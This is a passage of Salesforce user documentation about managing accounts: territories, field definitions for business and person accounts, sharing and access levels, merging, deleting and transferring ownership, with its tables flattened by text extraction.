User Permissions Needed To change the territories of an account: Manage Territories OR You are a forecast manager, Forecast managers can manage territories is selected, and you are working below your position in the territory hierarchy.

To modify an account's manually assigned territories: 1. From the account detail page, click Change next to the Territories field.

72

Accounts

Account History

2. At the Rule-based territory assignments list, view the territories that contain the account due to active account assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on page 2364. 3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the Selected territories list. 4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list. 5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either alongside or below the Available territories list. 6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to finish and return to the account detail page.

See Also:
Using Accounts Territory Management Overview Manually Assigning Accounts to Territories

Account History
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: Read on accounts

The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date, time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the account history. For information about setting up which fields are tracked, see Tracking Field History on page 1007.

Creating Accounts

73

Accounts

Creating Accounts

Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To create business accounts: To create person accounts Read on accounts Create on accounts Create on accounts and contacts

To create a new account, select Account from the Create New drop-down list in the sidebar, or click New next to Recent Accounts on the accounts home page. If your organization has enabled person accounts, you must first specify whether the record type is a business account or person account. Next, enter the information for the account. Click Save when you are finished, or click Save & New to save the current account and add another. To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You can then view a hierarchy of account relationships. The Parent Account field is not available for person accounts. Use the Account Site field to designate different locations of the same company. For example, Acme.com may have offices in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris and London, respectively. If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account Name. Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating an account. This determines the picklist values available when creating and editing a record. If your organization uses divisions, the division of a new account is automatically set to your default division, unless you manually select a different one. If your organization uses territory management, account assignment rules can automatically assign newly created accounts to territories. See Territory Management Overview on page 2349.

See Also:
Account Fields Sharing Accounts Viewing Parent Accounts Accounts Home What is a Person Account?

Account Fields

74

Accounts

Account Fields

Business Account Fields


The available fields vary according to which Salesforce Edition you have.

A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Note: Administrators can customize the display labels of standard fields.

Field
Account Currency

Description The default currency for all currency amount fields in the account. Amounts display in the account currency and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Division to which the account belongs. Records related to the account, such as contacts and opportunities, automatically inherit the accounts division. Available only in organizations that use divisions to segment their data. Name of company. Up to 255 characters are allowed in this field. The name of the account translated into the local language. Tracking or reference number for account. Up to 40 characters are allowed in this field. Assigned owner of account. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions. Name of the accounts location, for example, Headquarters or London. Up to 80 characters are allowed in this field. Amount of annual reported revenue. Street address used for billing. Up to 255 characters are allowed in this field. City portion of billing address. Up to 40 characters are allowed in this field. State or province portion of billing address. Up to 20 characters are allowed in this field.

Account Division

Account Name

Account Name (Local) Account Number

Account Owner Account Record Type

Account Site

Annual Revenue Billing Street

Billing City

Billing State/Province

75

Accounts

Account Fields

Field
Billing Zip/Postal Code

Description Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field. User who created the account, including creation date and time. (Read only) Description of account. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. Number of people employed by the account. When checked, shields the account from being evaluated when account assignment rules are run, preventing it from being automatically assigned to territories. Also, if the account is already assigned to territories as a result of assignment rules, checking this box removes the account from those territories. This checkbox only affects rule-based account assignments and has no effect on manual account assignments. See Territory Management Overview on page 2349. Fax number. Up to 40 characters are allowed in this field. Primary business of account. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. User who last changed the account fields, including modification date and time. This does not track changes made to any of the related list items on the account. (Read only) Ownership of company, for example, public or private. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Parent company for companies that are subsidiaries of a larger company or organization. The parent account must be an existing account in Salesforce. You can enter the account name, or select (or optionally, create) the account using the lookup icon. Read-only field that indicates whether an account is a partner account. Primary phone number of account. Up to 40 characters are allowed in this field. Categorization of how you rate this account, for example, Hot, Cold. Entry is selected from a picklist of available values, which

Billing Country

Created By

Description

Employees Exclude from territory assignment rules

Fax Industry

Modified By

Ownership

Parent Account

Partner Account

Phone

Rating

76

Accounts

Account Fields

Field

Description are set by an administrator. Each picklist value can have up to 40 characters.

Run territory assignment rules on save

When checked, causes account assignment rules to run when the account is edited and saved. When customizing the page layout for accounts, an administrator can control whether this checkbox displays and whether it is checked by default. See Territory Management Overview on page 2349. Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Standard Industrial Classification code of the accounts main business categorization, for example, 57340 for Electronics. Up to 10 characters are allowed in this field. The territories to which the account has been assigned. See Territory Management Overview on page 2349. Listing of companys exchange and stock symbol, for example, NASDAQ: ACME. Up to 20 characters are allowed in this field. Type of account, for example, Customer, Competitor, or Partner. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Listing of custom links for accounts as set up by your administrator. URL of accounts website, for example, www.acme.com. Up to 255 characters are allowed in this field; only the first 50 are displayed.

Shipping Street

Shipping City

Shipping State/Province

Shipping Zip/Postal Code

Shipping Country

SIC Code

Territories

Ticker Symbol

Type

Custom Links

Website

Person Account Fields

77

Accounts

Account Fields

Person accounts available in: Enterprise, Unlimited, and Developer Editions The available fields vary according to which Salesforce Edition you have.

A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Fields with an X in the Is Contact Field column are contact fields that are supported for person accounts but not business accounts. Note that this list does not include any custom fields that your administrator may have created. Both account and contact custom fields are available for person accounts. Field
Account Currency

Description The default currency for all currency amount fields in the account. Amounts display in the account currency and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Division to which the account belongs. Records related to the account, such as contacts and opportunities, automatically inherit the accounts division. Available only in organizations that use divisions to segment their data. The name of the individual. In person accounts, the account name cannot be edited directly. Instead, Salesforce derives it by combining the First Name and Last Name fields in the appropriate order per the user's language setting. The name of the account translated into the local language. Tracking or reference number for account. Up to 40 characters are allowed in this field. Assigned owner of account. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions.

Is Contact Field

Account Division

Account Name

Account Name (Local)

Account Number

Account Owner

Account Record Type

78

Accounts

Account Fields

Field
Account Site

Description Name of the accounts location, for example, Headquarters or London. Up to 80 characters are allowed in this field. Amount of annual reported revenue. Name of assistant. Up to 40 characters are allowed in this field. Assistants phone number. Up to 40 characters are allowed in this field. City portion of billing address. Up to 40 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field. State or province portion of billing address. Up to 20 characters are allowed in this field. Street address used for billing. Up to 255 characters are allowed in this field. Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Birthday. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. User who created the account, including creation date and time. (Read only) Listing of custom links for accounts as set up by your administrator. Associated business or organizational unit. Up to 80 characters are allowed in this field. Description of account. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. Indicates if the person does not want to be contacted via telephone. Email address. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field.

Is Contact Field

Annual Revenue Assistant

X X

Asst. Phone

Billing City

Billing Country

Billing State/Province

Billing Street

Billing Zip/Postal Code

Birthdate

Created By

Custom Links

Department

Description

Do Not Call

X X

Email

79

Accounts

Account Fields

Field
Email Opt Out

Description The person's email address will not be included in mass emails. Number of people employed by the account. When checked, shields the account from being evaluated when account assignment rules are run, preventing it from being automatically assigned to territories. Also, if the account is already assigned to territories as a result of assignment rules, checking this box removes the account from those territories. This checkbox only affects rule-based account assignments and has no effect on manual account assignments. See Territory Management Overview on page 2349. Fax number. Up to 40 characters are allowed in this field. Indicates if the person has requested not to be included in broadcast faxes. The first or given name of the individual. Up to 40 characters are allowed in this field. Persons home phone number. Up to 40 characters are allowed in this field. Primary business of account. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. The surname or family name of the individual. Up to 80 characters are allowed in this field. The date that the most recent Stay-in-Touch request was sent. The date that the most recent Stay-in-Touch request was returned and merged. Record source, for example, Advertisement, Partner, or Web. Entry is selected from a picklist of available

Is Contact Field X

Employees

Exclude from territory assignment rules

Fax

Fax Opt Out

X X

First Name

Home Phone

Industry

Last Name

Last Stay-in-Touch Request Date Last Stay-in-Touch Save Date

X X

Lead Source

80

Accounts

Account Fields

Field

Description values, which are set by an administrator. Each picklist value can have up to 40 characters.

Is Contact Field

Mailing City

City portion of mailing address. Up to 40 characters are allowed in this field. Country portion of mailing address. Up to 40 characters are allowed in this field. State or province portion of mailing address. Up to 20 characters are allowed in this field. Street mailing address. Up to 255 characters are allowed in this field. Zip or postal code portion of mailing address. Up to 20 characters are allowed in this field. Cellular or mobile phone number. Up to 40 characters are allowed in this field. User who last changed the account fields, including modification date and time. This does not track changes made to any of the related list items on the account. (Read only) City portion of additional address. Up to 40 characters are allowed in this field. Country portion of additional address. Up to 40 characters are allowed in this field. Additional phone number listing. Up to 40 characters are allowed in this field. State or province portion of additional address. Up to 20 characters are allowed in this field. Street address portion of additional address. Up to 255 characters are allowed in this field. Zip or postal code portion of additional address. Up to 20 characters are allowed in this field. Ownership of company, for example, public or private. Entry is selected from

X X X

Mailing Country

Mailing State/Province

Mailing Street

X X

Mailing Zip/Postal Code

Mobile

Modified By

Other City

X X

Other Country

Other Phone

X X

Other State/Province

Other Street

Other Zip/Postal Code

Ownership

81

Accounts

Account Fields

Field

Description a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Is Contact Field

Phone

Primary phone number of account. Up to 40 characters are allowed in this field. Categorization of how you rate this account, for example, Hot, Cold. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Rating

Run territory assignment rules When checked, causes account on save assignment rules to run when the account

is edited and saved. When customizing the page layout for accounts, an administrator can control whether this checkbox displays and whether it is checked by default. See Territory Management Overview on page 2349.
Salutation

Title for addressing the person, for example, Mr., Ms., Dr., or Prof. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Standard Industrial Classification code of the accounts main business

Shipping City

Shipping Country

Shipping State/Province

Shipping Street

Shipping Zip/Postal Code

SIC Code

82

Accounts

Viewing Parent Accounts

Field

Description categorization, for example, 57340 for Electronics. Up to 10 characters are allowed in this field.

Is Contact Field

Territories

The territories to which the account has been assigned. See Territory Management Overview on page 2349. Listing of companys exchange and stock symbol, for example, NASDAQ: ACME. Up to 20 characters are allowed in this field. Person's position within his or her organization. Up to 80 characters are allowed in this field. Type of account, for example, Customer, Competitor, or Partner. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. URL of accounts website, for example, www.acme.com. Up to 255 characters are allowed in this field; only the first 50 are displayed. X

Ticker Symbol

Title

Type

Website

Viewing Parent Accounts


Available in: All Editions except Database.com

User Permissions Needed To view accounts: To view parent accounts: Read on accounts Read on accounts

The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent account above them. To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account Hierarchy page displays up to 500 child accounts. To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.

83

Accounts

Sharing Accounts

The parent account must be an existing account before it can be entered and saved in this field. For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations. If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same division. The Parent Account field and the View Hierarchy link are not supported for person accounts.

See Also:
Using Accounts Creating Accounts What is a Person Account?

Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model as well as your organization's default account access levels for territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account sharing to increase access to your accounts; you cannot restrict access beyond your organizations default access levels. To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the account. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Note: When you share an account, Salesforce prompts you to share any related contacts, opportunities, or cases, up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share related records from the record detail pages. Ensure users have at least Read permission on shared records. Alternatively, you can share account access by creating an account team. Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level. For accounts, you can also edit the Owner sharing rule.

See Also:
Granting Access to Records Viewing Which Users Have Access Territory Management Overview Sharing Opportunities Sharing Contacts Sharing Cases Account Teams Overview

84

Accounts

Granting Access to Records

Granting Access to Records


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions Sharing for campaigns, cases, custom object records, leads, and opportunities is available in Enterprise, Unlimited, and Developer Editions Sharing for custom objects is available in Database.com

Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated records. For example, if you grant another user access to your account, the user will automatically have access to all the opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner, any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user in a role above the owner in the hierarchy. Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. To grant access to a record: 1. Click Sharing on the record you want to share. 2. Click Add. 3. From the drop-down list, select the type of group, user, role, or territory to add. Your choices are: Type Public Groups Personal Groups Users Roles Roles and Subordinates Description All public groups defined by your administrator. All personal groups defined by the record owner. Only the record owner can share with his or her personal groups. All users in your organization. Does not include portal users. All roles defined for your organization. This includes all of the users in that role. This includes all of the users in the role plus all of the users in roles below that role. Only available when no portals are enabled for your organization. All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. Adding a role and its subordinate roles, includes all of the users in that role plus all of the users in roles below that role. Only available when a partner or Customer Portal is enabled for your organization. Includes portal roles and users.

Roles and Internal Subordinates

Roles, Internal and Portal Subordinates

85

Accounts

Granting Access to Records

Type Territories

Description All territories defined for your organization. This includes all users in that territory. This option is only available if your organization uses territory management. Includes all users in the territory plus the users below that territory. This option is only available if your organization uses territory management.

Territories and Subordinates

4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing list. 5. Choose the access level for the record you are sharing and any associated records that you own. For example, if you are sharing an account, specify the level of access the selected user should have to associated contact, opportunity, and case records you own. The possible access levels are: Access Level Full Access Description User can view, edit, delete, and transfer the record. User can also extend sharing access to other users; however, the user cannot grant Full Access to other users. User can view and edit the record, and add associated records, notes, and attachments to it. User can view the record, and add associated records to it. They cannot edit the record or add notes or attachments. User cannot access the record in any way.

Read/Write Read Only Private

Note: When sharing an opportunity or case, users must also have at least read access to the associated account (unless you are sharing a case via a case team). If you also have privileges to share the account, users are automatically given read access to the account. If you do not have privileges to share the account, you must ask the account owner to give the users read access to it. Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All Data or View All Data permission, or the Modify All or View All permission for contacts.

6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast. 7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information on sharing reasons, see Creating Apex Sharing Reasons on page 596. 8. Click Save.

86

Accounts

Viewing Which Users Have Access

Editing or Deleting Record Access


To edit the access levels for a record, click Sharing on the record, and then click Edit next to the group, user, role, or territory whose access you want to modify. To delete the sharing access for a group, user, role, or territory, click Sharing on the record, and then click Del next to the group, user, role, or territory whose access you want to remove.

See Also:
Sharing Accounts Sharing Campaigns Sharing Cases Sharing Contacts Sharing Custom Object Records Sharing Leads Sharing Opportunities Viewing Which Users Have Access Case Teams Overview Controlling Access Using Hierarchies Manually Sharing a Forecast

Viewing Which Users Have Access


Available in: Professional, Enterprise, Unlimited, and Developer Editions

After you have granted access to a record you own, you can view a list of users who have access to the record and its related information. You can also see an explanation of each user's access. 1. Click Sharing on the desired record. 2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default settings. The list also shows each users access level for the record and any associated records. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. The possible access levels are: Access Level Full Access Description User can view, edit, delete, and transfer the record. User can also extend sharing access to other users; however, the user cannot grant Full Access to other users. User can view and edit the record, and add associated records, notes, and attachments to it. User can view the record, and add associated records to it. They cannot edit the record or add notes or attachments. User cannot access the record in any way.

Read/Write Read Only Private

87

Accounts

Viewing Which Users Have Access

Note: For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All Data or View All Data permission, or the Modify All or View All permission for contacts. In addition, for forecast sharing, the list shows whether the user can submit a forecast (in forecasting versions where sharing is available). 3. Click Why? next to a users name to find out why the user has access to the record. If there are multiple reasons with different access levels, the user is always granted the most permissive access level. The possible reasons are: Reason Account Sharing Rule Account Sharing Account Team Account Territory Account Territory Rule Administrator Description The user has access via an account sharing rule created by the administrator. The user was granted access via the Sharing button on the associated account. The user is a member of the account team. The account has been assigned to a territory to which the user has access. The user has access via an account territory sharing rule created by the administrator. The user has the Modify All Data or View All Data administrative permission, or the Modify All or View All object permission. The portal user or any role above the portal user's role has access to the account for which the portal user is a contact. The user owns or has sharing access to a contact or contract associated with the account. Click the link to view which associated records the user owns or has been given sharing access to. The user is a member of a share group that has access to a contact or contract that's associated with the account owned by high-volume portal users. The user has access via a campaign sharing rule created by the administrator. The user has access via a case sharing rule created by the administrator. The user has access via a contact sharing rule created by the administrator.

Associated Portal User or Role Associated Record Owner or Sharing

Associated Record Sharing

Campaign Sharing Rule Case Sharing Rule Contact Sharing Rule

88

Accounts

Viewing Which Users Have Access

Reason Delegated Forecast Manager

Description A user has access to forecast data that was granted via the Sharing button on the forecast (in forecasting versions where sharing is available). A user has access due to being a forecast manager in the forecast hierarchy. The user has access via a lead sharing rule created by the administrator. The user has a subordinate in the role hierarchy who is assigned to the territory with which the account is associated. The user has access that was granted via the Sharing button on the record. The account has been manually assigned to a territory to which the user has access. The user has access via an opportunity sharing rule created by the administrator. The user owns the record, or the user is a member of the queue that owns the record or above the queue member in the role hierarchy. The user is a member of a share group that has access to records owned by high-volume portal users. The portal user is a contact on the case. The user's role is above the role of a portal user who has access to the record via ownership or sharing. The user is a member of the opportunity sales team. The user has the View All Forecasts permission.

Forecast Manager Lead Sharing Rule Manager of Territory Member Manual Sharing Manual Territory Sharing Opportunity Sharing Rule Owner

Portal Share Group Related Portal User Role Above Owner or Shared User (Portal Only) Sales Team View All Forecasts Permission

89

Accounts

Merging Duplicate Accounts

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Sharing Accounts Sharing Contacts Sharing Opportunities Sharing Cases Sharing Custom Object Records Setting Your Organization-Wide Sharing Defaults Controlling Access Using Hierarchies Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users Manually Sharing a Forecast

Merging Duplicate Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To merge business accounts: To merge person accounts: Read on accounts Delete on accounts Delete on accounts AND Read on contacts

1. From the Accounts tab, click Merge Accounts in the Tools section. 2. Enter a search string to find the duplicate accounts. For example, you can enter acme* to find duplicate accounts listed as Acmes and Acme, Inc. Do not use the local name for the account. Then click Find Accounts. 3. Check the rows of up to three accounts you want to merge. Click Next. 4. Select one account as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record. However, administrators, and users with the Edit Read Only Fields permission, can manually select which read-only fields to retain. Note that hidden fields are not displayed during the merge. 5. Select the fields that you want to retain from each record. When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.

90

Accounts

Merging Duplicate Accounts

6. Click the Merge button to complete the merge.

Tips on Merging Accounts


You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role hierarchy and you have the appropriate user permissions. When merging two accounts that you do not own, you must have Delete permissions on accounts and Edit permissions on opportunities and cases. You need Delete permissions on accounts because you are deleting one of the accounts when you perform an account merge. You need Edit permissions on opportunities and cases because changing the account name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging. Any related items from any of the duplicate accounts will be associated with the newly merged account. In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly merged account. Also, any manual sharing from the Master Record is applied to the merged account. When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is linked only to the accounts of the selected Master Record. All discarded duplicate records are moved to the Recycle Bin. The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge date as the Modified By date. If both accounts have different account teams, the merged account will contain members from both account teams. In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select otherwise. When you merge accounts that have territories and the Exclude from account assignment rules box was deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories. Also, any manually added territories on the original accounts will be manually added to the new account. When you merge accounts that have territories and the Exclude from account assignment rules box was checked on one or both of the original accounts: The newly merged account has all of the territories of the original accounts. Account assignment rules will not run on the newly merged account. If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having been assigned to the new account based on rules even if the new account does not match the rules. If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account. If a territory was added to one account manually and to the other account by rules, it will be manually added to the new account. When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see Merging Accounts Associated with Relationship Groups on page 92.

Tips on Merging Person Accounts


If your organization uses person accounts, both business accounts and person accounts are returned when you search for duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated by the person account icon ( ). You can't merge person accounts enabled to use a Customer Portal.

Tips on Merging Accounts Associated with Portals


You must have the Manage Users permission to merge accounts associated with portals. You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts that have contacts associated with a partner portal or Customer Portal, but you cannot merge an account that has contacts associated with a partner portal with an account that has contacts associated with a Customer Portal.

91

Accounts

Merging Accounts Associated with Relationship Groups

When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a specific portal does not change. This is because a portal user's profile determines the portal he or she can access. When merging a partner account with a non-partner account, the partner account must be the master. When merging partner accounts with a non-partner account, the owner cannot be changed. To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the master record during the merge process.

See Also:
Merging Duplicate Contacts What is a Person Account? Creating Partner Accounts

Merging Accounts Associated with Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To merge business accounts: To merge person accounts: Delete on accounts Delete on accounts, Read on contacts

When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For example, if the accounts Joe Bannon all represent the same client and need to be merged, you can use the Merge Accounts tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship group. Review the following considerations before merging accounts that are members of relationship groups: The account you select as the master record retains its original relationship group memberships. For example, if the master record Joseph Bannon was a member of the Bannon Family and Bannon Law Firm relationship groups, it remains a member of those relationship groups. The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if the non-master record Joe Bannon was a member of Bannon Trust Beneficiaries, the master record is transferred Joe Bannon's membership in Bannon Trust Beneficiaries. If there is a relationship group to which the master record did not originally belong but the multiple non-master records belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus secondary) or the account whose member record was most recently modified in the relationship group. For example, if the non-master records JR Bannon and Joe Bannon both were members of Acme LLP and JR Bannon was primary, then the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon

92

Accounts

Adding Translated Names

were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then the master record would be transferred JR Bannon's membership in Acme LLP.

See Also:
Merging Duplicate Accounts Removing Members from Relationship Group Members

Adding Translated Names


Available in: Professional, Enterprise, Unlimited, and Developer Editions

A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name of an account in the default language of your organization as well as the accounts or users language. The following fields can have corresponding local names: Standard Field Account Name Contact: First Name Contact: Last Name Lead: Company Lead: First Name Lead: Last Name Local Name Field Account Name (Local) Contact: First Name (Local) Contact: Last Name (Local) Lead: Company Name (Local) Lead: First Name (Local) Lead: Last Name (Local)

Local names do not affect the users language settings. Depending on your page layout settings, they can both be displayed on the detail or edit page. To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding local name fields to your page layout settings.

See Also:
Managing Page Layouts

Deleting Accounts

93

Accounts

Deleting Accounts

Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To delete accounts: Read on accounts Delete on accounts

To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page. When you delete an account it's moved to the Recycle Bin along with any of these related items: Contacts Opportunities Contracts (if they're not activated) Activities Notes Attachments Portal roles and groups (if all portal users in the account are disabled) Partner relationships Relationship group members

If you undelete an account, any related items are also restored except for: Relationship group members in some cases. See Removing Members from Relationship Group Members on page 2403. Portal roles and groups. See Using Accounts on page 69.

You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you want to delete the closed/won opportunities along with the account or to cancel the account deletion. Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner in the organization role hierarchy, and if you have the appropriate user permission. You do not need the Delete permission on any associated records that are included in the deletion.

See Also:
Recycle Bin Deleting Mass Data Merging Duplicate Accounts What is a Person Account?

Searching for Accounts


94

Accounts

Searching for Accounts

Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: Read on accounts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. If you're using local account names, search finds matches for standard or local account names. 3. From the search results, click an item to open it or click Edit, if available. You can also create an account list view to find accounts that match specific criteria.

See Also:
Search Overview What is a Person Account?

Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

Before transferring a record to a new owner, make sure the new owner has at least Read permission on the object. 1. Click Change next to the Owner field. The Change link appears only on the detail page, not the edit page. If you don't see the Change link, you can't change ownership. 2. Enter or select a new owner. In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list. Note: Only users you are able to transfer ownership to are visible. Neither the User group nor the Roles and Internal Subordinates group contains Customer Portal or partner users. 3. Select the Send Notification Email checkbox to notify the new owner. The From email address displayed in the notification is your return email address as set in the Email Address field of your email settings.

95

Accounts

Changing Ownership

For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically generated and cannot be customized. 4. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear: Checkbox
Change Division

Description

Appears For

Transfers the record to the new owner's division. All records Accounts and leads, if you related to the account are transferred to the new division as can view or edit the well. Division field

Transfer open Transfers open opportunities owned by other users that are Accounts opportunities not associated with the account. owned by the existing account owner Transfer closed opportunities

Transfers the closed opportunities associated with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities owned by other users are not changed.

Accounts

Transfer open cases Transfers any open cases associated with the account that owned by the existing are owned by the existing account owner. account owner

Accounts

Transfer closed cases Transfers the closed cases associated with the account. This Accounts

option applies only to closed cases owned by the account owner; closed cases owned by other users are not changed.
Keep Account Team

Transfers all account team members on the account to the Accounts new owner. Preserves the sales team when the opportunity is transferred Opportunities to the new owner. If this box is unchecked, all sales team members are deleted when the opportunity is transferred to the new owner. Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.

Keep Sales Team

